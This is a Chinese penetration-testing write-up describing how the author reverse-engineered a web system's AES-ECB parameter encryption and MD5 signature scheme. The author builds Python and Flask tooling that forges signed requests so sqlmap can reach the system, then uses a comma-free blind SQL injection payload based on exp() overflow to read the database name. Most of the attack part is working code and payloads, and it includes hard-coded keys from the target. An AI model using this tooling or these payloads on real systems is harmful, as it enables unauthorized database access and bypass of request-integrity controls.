背景: 同事某系统存在加解密+签名校验,并且发现其中一些接口存在SQL注入,但鉴于存在加解密和签名校验难以测试,于是想到一种将脚本变成FLASK的网页形式进行SQLMAP的联动或进行手动注入,协助其达到无痛测试的效果

数据包存在url参数加密

其中还有签名校验

JS断点出加密为AES,并且得到密钥

进行数组转明文:

得到密钥,此密钥为动态密钥

断点也可以得到明文动态密钥

接下来分析签名校验:

此处是先获取所有请求参数中的值,将其拼接成arr


注意后面有两个时间戳,两者不一致,一个是前(timerandom)一个是后(signTime)

整理得到具体步骤:

  1. 加密参数:将每个参数值使用AES-ECB加密(PKCS7填充)并Base64编码

  2. 生成签名:
    a. 按固定顺序拼接加密前的原始参数的值
    b. 添加一前一后时间戳(timerandom)(signTime)
    c. 计算整个字符串的MD5
    d. 构造JSON字符串:{"md5": md5值, "signTime": 时间戳}
    e. 使用相同的AES密钥加密该JSON字符串得到签名

  3. 构造HTTP请求头,包含签名和其他必要字段

  4. 发送请求并输出响应

编写脚本(部分已脱敏):

python
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
import json
import time
import requests
from urllib.parse import quote

class AESCipher:
def __init__(self, key="xxxxxxxxxxxxxxxx"): #此处已脱敏
"""
AES-ECB加密器
:param key: 16字节密钥(默认使用固定密钥)
"""
self.key = key.encode('utf-8')
self.block_size = AES.block_size

def encrypt(self, plaintext):
"""
AES-ECB加密 + Base64编码
:param plaintext: 明文内容
:return: Base64编码的加密结果
"""
if plaintext is None:
plaintext = ""
elif isinstance(plaintext, int):
plaintext = str(plaintext)

cipher = AES.new(self.key, AES.MODE_ECB)
padded_data = pad(plaintext.encode('utf-8'), self.block_size)
ciphertext = cipher.encrypt(padded_data)
return base64.b64encode(ciphertext).decode('utf-8')

def encrypt_url_param(self, param_value):
"""
加密并URL编码参数
:param param_value: 参数值
:return: URL编码的加密结果
"""
encrypted = self.encrypt(param_value)
return quote(encrypted)

def generate_signature(params, sign_time, aes_key="cqZQC8ojIvq5J3rQ"):
"""
生成请求签名(完整流程)
:param params: 参数字典(明文)
:param sign_time: 签名时间戳(毫秒)
:param aes_key: AES密钥
:return: 签名字符串
"""
# 1. 参数拼接顺序(固定)
param_order = [
"projectName", "applyUser", "applyDepartId", "planYear",
"startTime", "endTime", "majorStatus", "page", "size", "timerandom"
]

# 2. 按顺序拼接参数值
param_str = ''.join(str(params.get(param, "")) for param in param_order)
print(f"参数拼接结果: {param_str}")

# 3. 添加签名时间戳
full_str = param_str + str(sign_time)
print(f"添加signTime后: {full_str}")

# 4. 计算MD5哈希
md5_hash = hashlib.md5(full_str.encode('utf-8')).hexdigest()
print(f"MD5哈希值: {md5_hash}")

# 5. 构造签名JSON
sign_data = {"md5": md5_hash, "signTime": sign_time}
sign_json = json.dumps(sign_data, separators=(',', ':')) # 紧凑JSON格式
print(f"签名JSON: {sign_json}")

# 6. AES加密签名
cipher = AESCipher(aes_key)
signature = cipher.encrypt(sign_json)
return signature

def send_request(params):
"""
构造并发送HTTP请求
:param params: 参数字典(明文)
"""
# 1. 初始化加密器
cipher = AESCipher()

# 2. 设置时间戳
timerandom = int(time.time() * 1000) - 10 # 请求参数时间戳(比签名时间早)
sign_time = int(time.time() * 1000) # 签名时间戳

# 3. 更新参数
params["timerandom"] = timerandom

# 4. 加密所有参数
encrypted_params = {}
for key, value in params.items():
encrypted_params[key] = cipher.encrypt_url_param(value)

# 5. 生成签名
signature = generate_signature(params, sign_time)

# 6. 构造请求头
headers = {
"Host": "xxx.xxx.com.cn:8082",#此处已脱敏
"Cookie": "_ga=GA1.1.1547523130; JSESSIONID=B52218556DFF2F67;", #此处已脱敏
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36",
"Accept": "application/json, text/plain, */*",
"X-Requested-With": "XMLHttpRequest",
"Credential": "1749877300",
"Token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 ", #此处已脱敏
"Sign": signature
}

# 7. 构造URL
base_url = "https://xxx.xxx.com.cn:8082/xxx/xxx/v2/query" #此处已脱敏
query_string = "&".join(f"{k}={v}" for k, v in encrypted_params.items())
full_url = f"{base_url}?{query_string}"

print("\n" + "="*50)
print("完整请求URL:")
print(full_url)

print("\n请求头:")
for k, v in headers.items():
print(f"{k}: {v}")

# 8. 发送请求
response = requests.get(full_url, headers=headers, verify=False)

print("\n" + "="*50)
print(f"响应状态码: {response.status_code}")
print(f"响应内容: {response.text}")

return response

if __name__ == "__main__":
# 示例参数(明文)
params = {

"projectName": "123",
"applyUser": "123",
"applyDepartId": "123",
"planYear": "",
"startTime": "",
"endTime": "",
"majorStatus": "",
"page": 1,
"size": 10
}

# 发送请求
response = send_request(params)

成功绕过加密+签名校验

其中某些接口存在SQL注入,但想联动SQLMAP,于是有了以下思路:

将脚本优化成一个加解密+计算签名校验的FLASK的网页

直接在页面里输入对应的参数,将数据包保存下来,放到SQLMAP中运行

编写FLASK代码:

python
from flask import Flask, render_template_string, request, jsonify
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
import json
import time
import requests
from urllib.parse import quote

app = Flask(__name__)

class AESCipher:
def __init__(self, key="xxxxxxxxxxxxxxxx"):#此处已脱敏
self.key = key.encode('utf-8')
self.block_size = AES.block_size

def encrypt(self, plaintext):
if plaintext is None:
plaintext = ""
elif isinstance(plaintext, int):
plaintext = str(plaintext)

cipher = AES.new(self.key, AES.MODE_ECB)
padded_data = pad(plaintext.encode('utf-8'), self.block_size)
ciphertext = cipher.encrypt(padded_data)
return base64.b64encode(ciphertext).decode('utf-8')

def encrypt_url_param(self, param_value):
encrypted = self.encrypt(param_value)
return quote(encrypted)

def decrypt(self, ciphertext):
try:
if ciphertext is None or ciphertext == "":
return ""

if isinstance(ciphertext, str):
ciphertext = base64.b64decode(ciphertext)

cipher = AES.new(self.key, AES.MODE_ECB)
decrypted_data = cipher.decrypt(ciphertext)
unpadded_data = unpad(decrypted_data, self.block_size)
return unpadded_data.decode('utf-8')
except Exception as e:
return f"解密失败: {str(e)} | 原始数据: {ciphertext[:50]}..."

def generate_signature(params, sign_time, aes_key="DlXIsXNa2bdhel2s"):
param_order = ["action", "equTypes", "timerandom"]

param_str = ''.join(str(params.get(param, "")) for param in param_order)
full_str = param_str + str(sign_time)
md5_hash = hashlib.md5(full_str.encode('utf-8')).hexdigest()
sign_data = {"md5": md5_hash, "signTime": sign_time}
sign_json = json.dumps(sign_data, separators=(',', ':'))

cipher = AESCipher(aes_key)
return cipher.encrypt(sign_json)

@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
return process_request()
return render_main_page()

def render_main_page():
return render_template_string('''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>FLASK</title>
<style>
:root {
--primary: #3498db;
--secondary: #2c3e50;
--success: #27ae60;
--danger: #e74c3c;
--light: #ecf0f1;
--dark: #34495e;
}

* {
box-sizing: border-box;
margin: 0;
padding: 0;
}

body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
line-height: 1.6;
color: #333;
background-color: #f8f9fa;
padding: 20px;
}

.container {
max-width: 800px;
margin: 0 auto;
background: white;
border-radius: 10px;
box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
padding: 30px;
}

h1 {
color: var(--secondary);
text-align: center;
margin-bottom: 30px;
padding-bottom: 15px;
border-bottom: 2px solid var(--primary);
}

.form-group {
margin-bottom: 20px;
}

.param-row {
display: flex;
gap: 10px;
margin-bottom: 10px;
align-items: center;
}

.param-input {
flex: 1;
}

.param-actions {
display: flex;
gap: 5px;
}

label {
display: block;
margin-bottom: 8px;
font-weight: 600;
color: var(--dark);
}

input[type="text"] {
width: 100%;
padding: 12px 15px;
border: 1px solid #ddd;
border-radius: 4px;
font-size: 16px;
transition: border-color 0.3s;
}

input[type="text"]:focus {
outline: none;
border-color: var(--primary);
box-shadow: 0 0 0 3px rgba(52, 152, 219, 0.2);
}

button, .btn {
background-color: var(--primary);
color: white;
border: none;
padding: 12px 15px;
font-size: 14px;
border-radius: 4px;
cursor: pointer;
transition: background-color 0.3s;
font-weight: 600;
text-align: center;
}

button:hover, .btn:hover {
background-color: #2980b9;
}

.btn-danger {
background-color: var(--danger);
}

.btn-success {
background-color: var(--success);
}

.btn-danger:hover {
background-color: #c0392b;
}

.result-section {
margin-top: 40px;
display: none;
}

.result-section.active {
display: block;
}

.section-title {
color: var(--secondary);
margin-bottom: 15px;
padding-bottom: 10px;
border-bottom: 1px solid #eee;
}

.result-box {
background-color: #f8f9fa;
border: 1px solid #e9ecef;
border-radius: 5px;
padding: 15px;
margin-bottom: 20px;
max-height: 200px;
overflow-y: auto;
font-family: monospace;
font-size: 14px;
white-space: pre-wrap;
}

.tabs {
display: flex;
margin-bottom: 15px;
border-bottom: 1px solid #ddd;
}

.tab {
padding: 10px 20px;
cursor: pointer;
background: #f1f1f1;
border: 1px solid #ddd;
border-bottom: none;
border-radius: 5px 5px 0 0;
margin-right: 5px;
}

.tab.active {
background: white;
border-bottom: 1px solid white;
margin-bottom: -1px;
font-weight: bold;
color: var(--primary);
}

.tab-content {
display: none;
}

.tab-content.active {
display: block;
}

.loading {
text-align: center;
padding: 20px;
display: none;
}

.spinner {
border: 4px solid rgba(0, 0, 0, 0.1);
border-radius: 50%;
border-top: 4px solid var(--primary);
width: 40px;
height: 40px;
animation: spin 1s linear infinite;
margin: 0 auto 20px;
}

@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}

.error {
background-color: #f8d7da;
color: #721c24;
padding: 15px;
border-radius: 4px;
margin-bottom: 20px;
display: none;
}
</style>
</head>
<body>
<div class="container">
<h1>FLASK</h1>

<form id="queryForm" method="POST">
<div class="form-group">
<label>查询参数:</label>
<div id="params-container">
<!-- 默认参数行(现在可以删除) -->
<div class="param-row">
<div class="param-input">
<input type="text" name="param_name[]" value="action" placeholder="参数名">
</div>
<div class="param-input">
<input type="text" name="param_value[]" value="pandian" placeholder="参数值">
</div>
<div class="param-actions">
<button type="button" class="btn btn-danger remove-param">删除</button>
</div>
</div>
<div class="param-row">
<div class="param-input">
<input type="text" name="param_name[]" value="equTypes" placeholder="参数名">
</div>
<div class="param-input">
<input type="text" name="param_value[]" placeholder="请输入设备类型" required>
</div>
<div class="param-actions">
<button type="button" class="btn btn-danger remove-param">删除</button>
</div>
</div>
</div>

<div class="param-actions" style="margin-top: 15px;">
<button type="button" id="add-param" class="btn btn-success">添加参数</button>
</div>
</div>

<button type="submit">发送查询</button>
</form>

<div class="loading" id="loading">
<div class="spinner"></div>
<p>正在处理请求,请稍候...</p>
</div>

<div class="error" id="error"></div>

<div class="result-section" id="resultSection">
<h2 class="section-title">查询结果</h2>

<div class="tabs">
<div class="tab active" onclick="switchTab('summary')">结果摘要</div>
<div class="tab" onclick="switchTab('url')">加密URL</div>
<div class="tab" onclick="switchTab('headers')">请求头</div>
<div class="tab" onclick="switchTab('response')">响应内容</div>
<div class="tab" onclick="switchTab('decrypted')">解密内容</div>
</div>

<div class="tab-content active" id="summary">
<div class="form-group">
<label>响应状态码:</label>
<div class="result-box" id="responseStatus"></div>
</div>

<div class="form-group">
<label>响应摘要:</label>
<div class="result-box" id="responseSummary"></div>
</div>
</div>

<div class="tab-content" id="url">
<div class="form-group">
<label>加密后的URL:</label>
<div class="result-box" id="encryptedUrl"></div>
</div>
</div>

<div class="tab-content" id="headers">
<div class="form-group">
<label>请求头信息:</label>
<div class="result-box" id="requestHeaders"></div>
</div>
</div>

<div class="tab-content" id="response">
<div class="form-group">
<label>完整响应内容:</label>
<div class="result-box" id="fullResponse"></div>
</div>
</div>

<div class="tab-content" id="decrypted">
<div class="form-group">
<label>解密后的内容:</label>
<div class="result-box" id="decryptedResponse"></div>
</div>
</div>
</div>
</div>

<script>
function switchTab(tabName) {
document.querySelectorAll('.tab-content').forEach(el => {
el.classList.remove('active');
});
document.querySelectorAll('.tab').forEach(el => {
el.classList.remove('active');
});
document.getElementById(tabName).classList.add('active');
event.currentTarget.classList.add('active');
}

// 添加参数行
document.getElementById('add-param').addEventListener('click', function() {
const container = document.getElementById('params-container');
const newRow = document.createElement('div');
newRow.className = 'param-row';
newRow.innerHTML = `
<div class="param-input">
<input type="text" name="param_name[]" placeholder="参数名" required>
</div>
<div class="param-input">
<input type="text" name="param_value[]" placeholder="参数值">
</div>
<div class="param-actions">
<button type="button" class="btn btn-danger remove-param">删除</button>
</div>
`;
container.appendChild(newRow);
});

// 事件委托处理删除按钮(包括默认参数行)
document.getElementById('params-container').addEventListener('click', function(e) {
if (e.target.classList.contains('remove-param')) {
const row = e.target.closest('.param-row');
row.remove();
}
});

document.getElementById('queryForm').addEventListener('submit', function(e) {
e.preventDefault();
document.getElementById('loading').style.display = 'block';
document.getElementById('error').style.display = 'none';
document.getElementById('resultSection').classList.remove('active');

const formData = new FormData(this);
fetch('/', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
document.getElementById('loading').style.display = 'none';
if (data.error) {
document.getElementById('error').textContent = data.error;
document.getElementById('error').style.display = 'block';
} else {
document.getElementById('responseStatus').textContent = data.response_status;
document.getElementById('responseSummary').textContent = data.response_text.substring(0, 200) + (data.response_text.length > 200 ? '...' : '');
document.getElementById('encryptedUrl').textContent = data.encrypted_url;
document.getElementById('requestHeaders').textContent = JSON.stringify(data.headers, null, 2);
document.getElementById('fullResponse').textContent = data.response_text;
document.getElementById('decryptedResponse').textContent = data.decrypted_text;
document.getElementById('resultSection').classList.add('active');
document.getElementById('resultSection').scrollIntoView({ behavior: 'smooth' });
}
})
.catch(error => {
document.getElementById('loading').style.display = 'none';
document.getElementById('error').textContent = '请求处理错误: ' + error.message;
document.getElementById('error').style.display = 'block';
});
});
</script>
</body>
</html>
''')

def process_request():
# 获取动态参数
param_names = request.form.getlist("param_name[]")
param_values = request.form.getlist("param_value[]")

# 构建参数字典
params = {}
for name, value in zip(param_names, param_values):
if name and value: # 确保键值都不为空
params[name] = value

# 验证必填字段
if "equTypes" not in params or not params["equTypes"]:
return jsonify({"error": "设备类型(equTypes)是必填项"})

# 确保action有默认值
if "action" not in params or not params["action"]:
params["action"] = "pandian"

# 执行加密请求
try:
result = execute_encrypted_request(params)
return jsonify(result)
except Exception as e:
return jsonify({"error": f"请求处理错误: {str(e)}"})

def execute_encrypted_request(params):
cipher = AESCipher()
timerandom = int(time.time() * 1000) - 10
sign_time = int(time.time() * 1000)

# 添加时间戳参数
params["timerandom"] = timerandom

# 加密所有参数
encrypted_params = {}
for key, value in params.items():
encrypted_params[key] = cipher.encrypt_url_param(value)

# 生成签名
signature = generate_signature(params, sign_time)

# 构造请求头
headers = {
"Host": "xxx.xxx.com.cn:8082", #此处已脱敏
"Cookie": "_ga=GA1.1.1547523130; JSESSIONID=B52218556DFF2F;",#此处已脱敏
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36",
"Accept": "application/json, text/plain, */*",
"X-Requested-With": "XMLHttpRequest",
"Credential": "1749877300",
"Token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9",#此处已脱敏
"Sign": signature
}

# 构造URL
base_url = "https://xxx.xxx.com.cn:8082/v1/xxx" #此处已脱敏
query_string = "&".join(f"{k}={v}" for k, v in encrypted_params.items())
full_url = f"{base_url}?{query_string}"

# 发送请求
response = requests.get(full_url, headers=headers, verify=False, timeout=10)

# 解密响应内容
decrypted_text = cipher.decrypt(response.text)

# 准备返回结果
return {
"encrypted_url": full_url,
"headers": headers,
"response_status": response.status_code,
"response_text": response.text,
"decrypted_text": decrypted_text
}

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)

运行:

输入对应值,返回明文内容

至此可以愉快进行手动注入或SQLMAP测试


这里存在网络上波动,无论多少都会超时
尝试使用SQLMAP:


这里似乎可注但又不可注入,应该是存在某些过滤
这里使用之前写过文章中的临界注入


这里临界判断成功,溢出状态码为500,未溢出200

payload:1’and(exp(xxx-ascii(substr(database(),1,1))))#
xxx遍历709以上的数,最终的正常返回对应的数减去709即为数据库第一位ascii的对应数值

但此处遍历完发现状态码全为500
后面发现此处不能输入逗号
改进payload绕过逗号:
1’and(exp(709-ascii(substr(database() from 1 for 1))))#



即此处最终正常返回的是816,减去709,为107,对应ascii的小写k,得到数据库第一位为k
以上,思路想法达成,后续不作展示